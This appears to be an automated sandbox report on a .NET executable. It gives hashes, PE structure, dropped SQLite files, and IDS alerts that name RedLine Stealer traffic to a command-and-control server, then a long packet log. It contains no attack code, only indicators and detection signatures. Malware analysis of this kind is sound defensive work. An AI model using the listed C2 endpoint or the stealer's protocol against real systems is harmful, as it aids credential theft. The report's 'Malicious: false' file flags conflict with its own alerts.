SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF30B.tmp

Download File

Process:	C:\Users\user\Desktop\EpCrfIUgyF.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.907407196335285
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	EpCrfIUgyF.exe
File size:	98'304 bytes
MD5:	ac60f7a9e32582940c6b0feea4461324
SHA1:	978ce9cb01858df4ccd870553895f8ac31077abb
SHA256:	d5cfec837881ccfbda1d444f31a7c972fe8b465a5a4c5d245f3e03332ab8ad78
SHA512:	6e93cb44df12efdd89cd3bb6531e96155aac9c1e636659e1b15eedef3deb103e1ccd9c702e070500d9499351ebd0b06883f2f5fa6bf97f1dd759652b27f05fe6
SSDEEP:	1536:7G6ijoigjqYdEYwtN1yseWlxdb/B6LZmbfaxvSujXyyedOo4BwgEp:Xsj9ndsSujyzdTp
TLSH:	D2A34C2863AC5A25E7FE0B7574B1011403F0B48F9512EB5F8EC6E0DB2EA2782E5576F1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..v..........N.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41954e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19500	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17554	0x17600	763bb18bd9f0f15fd15a6513de12ed9c	False	0.4495947526737968	data	5.961619693706578	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	82d581c64ac0bab171002d7138797da4	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T18:37:02.264505+0200	TCP	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	49701	40826	192.168.2.6	207.32.219.79
2024-08-31T18:36:59.475926+0200	TCP	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	49699	40826	192.168.2.6	207.32.219.79
2024-08-31T18:36:53.617047+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	49699	40826	192.168.2.6	207.32.219.79
2024-08-31T18:36:59.101827+0200	TCP	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	40826	49699	207.32.219.79	192.168.2.6
2024-08-31T18:37:01.860625+0200	TCP	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	40826	49699	207.32.219.79	192.168.2.6
2024-08-31T18:37:01.860625+0200	TCP	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	40826	49699	207.32.219.79	192.168.2.6
2024-08-31T18:37:03.953000+0200	TCP	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	49702	40826	192.168.2.6	207.32.219.79

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 18:36:52.900681019 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:52.910914898 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:52.910984993 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:52.924194098 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:52.933403015 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:53.275918961 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:53.282175064 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:53.574095964 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:53.617047071 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:53.700557947 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:53.741981030 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:58.996897936 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:59.101826906 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.263631105 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.264008045 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:36:59.269751072 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475749016 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475780010 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475790024 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475800037 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475814104 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:36:59.475925922 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.855233908 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.855541945 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.860625029 CEST	40826	49699	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:01.860673904 CEST	49699	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.860712051 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:01.860769987 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.861643076 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:01.866858959 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.211124897 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.216237068 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216294050 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.216317892 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216367006 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.216392994 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216402054 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216409922 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216418028 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216425896 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216453075 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.216487885 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.216715097 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216725111 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216732025 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.216778994 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.221254110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221303940 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221311092 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.221352100 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.221497059 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221507072 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221514940 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221548080 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.221560955 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.221577883 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.221606016 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.264372110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.264504910 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.290363073 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.290529966 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.295710087 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295767069 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.295768023 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295778036 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295789003 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295797110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295804977 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295825005 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.295859098 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.295864105 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295872927 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.295922041 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.295991898 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296000004 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296006918 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296040058 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296063900 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296113014 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296127081 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296133995 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296149969 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296158075 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296165943 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296173096 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296175957 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296180964 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296200991 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296226978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296236992 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296236992 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296288967 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296289921 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296339989 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296339989 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296417952 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296560049 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296618938 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.296689034 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.296751022 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.300892115 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.300945997 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.300946951 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.300955057 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.300961971 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301033020 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301184893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301194906 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301202059 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301270008 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301273108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301281929 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301289082 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301332951 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301399946 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301449060 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301532030 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301541090 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301548004 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301593065 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301609039 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301672935 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301721096 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.301800966 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301810026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301817894 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301825047 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.301861048 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302036047 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302043915 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302052021 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302058935 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302067041 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302073956 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302083015 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302093029 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302122116 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302141905 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302160978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302170038 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302176952 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302185059 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302197933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302206039 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302207947 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302218914 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302263021 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302275896 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302284002 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302292109 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302299976 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302306890 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302314997 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302325010 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302337885 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302357912 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302551031 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302560091 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302567959 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302576065 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302625895 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302659035 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302670002 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302680969 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302690983 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302701950 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302712917 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302748919 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302764893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302766085 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302773952 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302774906 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.302777052 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302781105 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302784920 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302788019 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302791119 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302794933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.302876949 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.305962086 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.305972099 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.305979967 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306025982 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306052923 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306062937 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306070089 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306108952 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306149006 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306159019 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306166887 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306174994 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306181908 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306190014 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306197882 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306205988 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306222916 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306245089 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306255102 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306269884 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306278944 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306286097 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306293964 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306302071 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306308985 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306317091 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306327105 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306339025 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306349993 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306386948 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306418896 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306427956 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306435108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306442976 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306451082 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306457996 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306473017 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306485891 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306498051 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306526899 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:02.306557894 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306567907 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.306576014 CEST	40826	49701	207.32.219.79	192.168.2.6
